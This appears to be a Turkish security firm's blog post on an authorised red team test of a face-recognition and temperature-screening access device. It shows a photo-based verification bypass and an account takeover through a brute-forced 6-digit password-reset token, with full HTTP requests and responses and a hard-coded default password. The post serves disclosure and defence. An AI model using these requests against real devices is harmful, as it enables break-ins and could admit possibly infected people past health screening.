loading...

Haziran 16, 2020

Pandemi Sürecinde Red Team Senaryosu #1

Pandemi sürecinde gerek evden çalışmanın getirdiği çeşitli riskler gerekse de saldırıların artmasına olanak sağlayan ortamlardan dolayı sızma testleri ve Red Team aktivitelerinde yoğun bir dönem yaşamaktayız.

Yeni normalde çeşitli altyapı ve donanımların değişime uğraması ile birlikte bu sürecin daha efektif ve güvenli geçmesi adına çeşitli konferanslar yaptık ve bildiriler yayınladık. Bu sürecin bir parçası olarak da müşterilerimizden “Yeni Normalde Red Team” çalışmaları için çeşitli istekler oluştu. Ekibimiz bu çalışmaları titizlikle yaparak fiziksel erişimi atlattı ve kurum ağına dahil olarak en yetkili kullanıcı seviyesine ulaştı. Bu yazımızda ilgili senaryodan bahsediyor olacağız.

Senaryo bir kuruma yapılan red team çalışmasının parçasıdır. Yeni normale geçiş sürecinin güvenli olması hedeflenerek yazılmıştır.

#1 Metodoloji & Bilgi Toplama

Öncelikle kurumun ağına erişebilmemiz adına önümüzde bu senaryo için 2 seçenek mevcut idi. Birincisi kablosuz ağa erişerek hak yükseltme ya da pivoting gibi teknikler ile ağda mümkün olduğunca yayılmak ikincisi ise kurumun fiziksel güvenliğini atlatarak çeşitli donanım ve yazılımlarımız ile ağa dahil olmak.

Bu çerçevede yapılması gereken ilk eylemlerden birisi var ise kuruma ait gizli ya da açık SSID’lerin tespit edilmesidir. Bunun için 802.11ac/a/b/g/n desteği olan, nistepen daha performanslı, RTL8814AU chipset’e sahip Alfa AC1900 marka ve modeldeki WiFi adaptörünü tercih ettik. Bu tür kurum dışından yapılan kablosuz ağ testlerindeki en büyük engellerden biri, cihazların üzerinde gelen 5dbi gücündeki antenlerin testlerimiz için yetersiz kalmasıdır. Testler gerçekleştirilirken gerçek saldırganı simüle ettiğimizden dolayı gizliliğe de önem vermekteyiz. Örneğin web uygulamalarına ya da kurum ağına yapılan saldırılarda isteğe göre offshore sunucular kullanılarak triple VPN ile haberleşmeyi sağlamaktayız. Böylelikle kurum gerçek bir saldırıda blue team tepkilerini de analiz etmiş olmaktadır. Aynı mantıkla kablosuz ağlara test yaparken personelin şüphe uyandırmaması adına coğrafi şartlara göre 18 dbi panel anten ya da 14 dbi dış mekan omni anten kullanmakta ve böylelikle uzak bir mesafeden testleri gerçekleştirmekteyiz.

Bu senaryomuzda Everest marka FK02GYW model akıllı yüz tanıma cihazı kullanıldığını tespit ettik. Ürünü incelediğimizde personelin maske takma durumunu kontrol ettiğini, ateş ölçtüğünü ve personelin veritabanı ile eşleşmesi durumunda girişine izin verdiğini tespit ettik. Ürünün yazılımında da çeşitli zafiyetleri tespit ettik. Ancak henüz ağa erişimimiz olmamasından dolayı bu bilgileri kullanamadık. Bu aşamada cihazın nasıl çalıştığını anlayabilmek adına sipariş ettik ve incelemeye başladık. Söylemekte fayda görüyorum, pandemi sürecinde en çok satılan ürünlerden birisi ve kullanım oranı çok yüksek.

#2 Zafiyet Araştırması

Tespitlerimiz sonucunda sisteme personelin fotoğrafının yüklendiği, doğrulama kısmında bu fotoğrafla karşılaştırdığını gördük. Ancak personel maske takmadığında bu eşleşme geçersiz sayıldı. Dolayısıyla kendimizi personel olarak tanıtacak isek doğrulamayı atlatmanın ancak maske ile mümkün olduğunu gördük.

Akıllı yüz tanıma sistemlerini detaylı araştırınca aslında daha güvenli diyebilmek için retina taramalı sistemlerin kullanılması gerektiğini öğrenmiş olduk. Bu sistemleri atlatabilmek için suni ya da sahte yapıda iris kullanılamadığını birçok kaynaktan doğruladık. Bizim sistemimizde bu güvenlik önlemi olmadığından sahte bir fotoğraf ile doğrulamayı da atlatabileceğimizin ışığını da böylelikle almış olduk. Oluşturduğumuz profilleri kendi sistemimizde atlatmak için, ekibimizin sosyal medyada herkesin ulaşabileceği fotoğrafları denedik.

Bu senaryomuz için satış ekibimizden Ata İğdebeli gönüllü oldu <3 Hakkında detaylı araştırmalara başladık. Senaryomuza en uygun fotoğrafın Linkedin’de olacağını düşünerek profil fotoğrafını kullandık ve testimizi gerçekleştirdik.

2.1)Fiziksel Bypass

Orjinal Fotoğraf ile deneme;

Düzenlenmiş fotoğraf ile deneme;

Videolarda da görüldüğü üzere personele ait fotoğrafı düzenledikten sonra çok rahat bir şekilde doğrulamayı atlattık. Kurum çalışanlarının Linkedin üzerinden tespit edilerek fiziksel güvenliği atlatmak bu aşamadan sonra çok kolay. Özellikle kurum içinde saldırgan profili olduğunu düşünürsek diğer personellerin bilgileri kullanılarak giriş yapılabilir ve çeşitli adli durumlarda deliller karartılabilir.

2.2)Account Takeover

Arayüze girdiğimde parolayı sıfırlamak için 2 seçenek bulunduğunu gördüm. Birincisi private key, ikincisi ise güvenlik soruları idi. Private key tespiti şu aşamada daha zor olacağı için güvenlik sorusu ile ilerledim.

Yapılan istekte cevaplar GET ile checkanswertype[] ile gönderildi.

Request:

GET /forgetpwd.htm?checkanswertype1=1&checkanswer1=cevap1&checkanswertype2=1&checkanswer2=cevap2&checkanswertype3=1&checkanswer3=cevap3&getresult= HTTP/1.1
Host: [Gizli]:7080
User-Agent: [Gizli]
Accept: */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
cache-control: no-cache
context-type: text/xml;charset=utf-8
Content-Type: application/x-www-form-encodeURIComponent
If-Modified-Since: 0
Authorization: Basic none
X-Requested-With: XMLHttpRequest
DNT: 1
Connection: close
Referer: http://[Gizli]:7080/views/config/pwdreset.html
Cookie: lang=tr; updateTips=true; netmask=255.255.255.0; gateway=[Gizli]

Başarısız response;

HTTP/1.1 200 OK
Content-type: text/html
Pragma: no-cache
Cache-Control: no-store

OK checkanswertype1
OK checkanswer1
OK checkanswertype2
OK checkanswer2
OK checkanswertype3
OK checkanswer3
UW getresult

Başarılı response;

OK checkanswertype1
OK checkanswer1
OK checkanswertype2
OK checkanswer2
OK checkanswertype3
OK checkanswer3
OK getresult=101825

Burada görülen, güvenlik sorusu doğru girildiğinde “getresult” değerine 6 haneli rastgele bir değer ataması ve buradan parola sıfırlama işlemini gerçekleştirmesi.

callXVRApi("/forgetpwd.htm?" + $.param(prm), "none", function (code, str) {
        if (code != 200 || !chkValOk(str, ["setadminpwd", "setpassed"])) {
            rbTip(lang["setFaile"]);
            return;
        }
        goNext();

Parola sıfırlama aşamasından sonra rastgele atadığı 6 haneli değeri şu aşamada bilemeyeceğimiz için brute force ile tespit etmek en mantıklısı. Dolayısıyla parola sıfırlama isteğini yaptıktan sonra oluşan setpassed değerini bulmak için brute force uyguluyorum.

Burada rate limit bulunmadığından gerçekleştirebildiğimiz brute force ile setpassed değeri tespit edildiğinde response’un OK olarak dönmesini umuyorum.

GET /forgetpwd.htm?setpassed=649141&setadminpwdstrength=2&setadminpwd=U2VDcmV0UGFzIQ%3D%3D HTTP/1.1
Host: [Gizli]:7080
User-Agent: [Gizli]
Accept: */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
cache-control: no-cache
context-type: text/xml;charset=utf-8
Content-Type: application/x-www-form-encodeURIComponent
If-Modified-Since: 0
Authorization: Basic none
X-Requested-With: XMLHttpRequest
DNT: 1
Connection: close
Referer: http://[Gizli]:7080/views/config/pwdreset.html
Cookie: lang=tr; updateTips=true; netmask=255.255.255.0; gateway=[Gizli]

HTTP/1.1 200 OK
Content-type: text/html
Pragma: no-cache
Cache-Control: no-store

OK setpassed
OK setadminpwdstrength
OK setadminpwd

Doğru değer bulunduğunda base64 ile encode edilen parolamız geçerli oldu. Kontrol ettiğimde de başarılı ile giriş sağladım.

Panele girdiğimde parolanın JavaScript kodları içerisinde gömülü olduğunu da tespit etmiş oldum.

// 默认第一次进入页面(用户密码为12345时)强制用户重置安全问题和导出秘钥
function loadSetting() {
    if (decodePwd($.cookies.get("pwd")) == "12345") {
        $("#chkResetIssue").prop("checked", true);
        $("#chkResetIssue").prop("disabled", true);
        return true;
    } else {
        return false
    }

#3 Sonuç

Pandemi döneminde fiziksel erişimi kontrol etmek adına, en çok tercih edilen cihazlardan birini test ettik. Testlerimiz sonucunda fiziksel doğrulamayı atlatmakla birlikte Covid-19 virüsü ile enfekte olması muhtemel bir personeli maksimum sıcaklık değerini artırarak kendisi dahi farkında olmadan kuruma girişine izin verevilecek yetkilere ulaştık. Söz konusu senaryoda saldırgan profili, doğrulamayı atlarak kuruma sızabilmekte, sıcaklık testine göre Covid-19 virüsü ile enfekte olabilecek bir personelin, normalde giriş yapamaması gereken durumda kuruma alarak sağlık açısından ciddi riskler yaratabilmektedir. Böylelikle güvenlik adına yapılan değişimlerin büyük risk doğurduğu, kurumların özellikle Red Team testlerini düzenli aralıklarla yaptırması gerektiğini birkez daha tecrübe etmiş olduk.

Posted in Red TeamTaggs:
1 Comment
Write a comment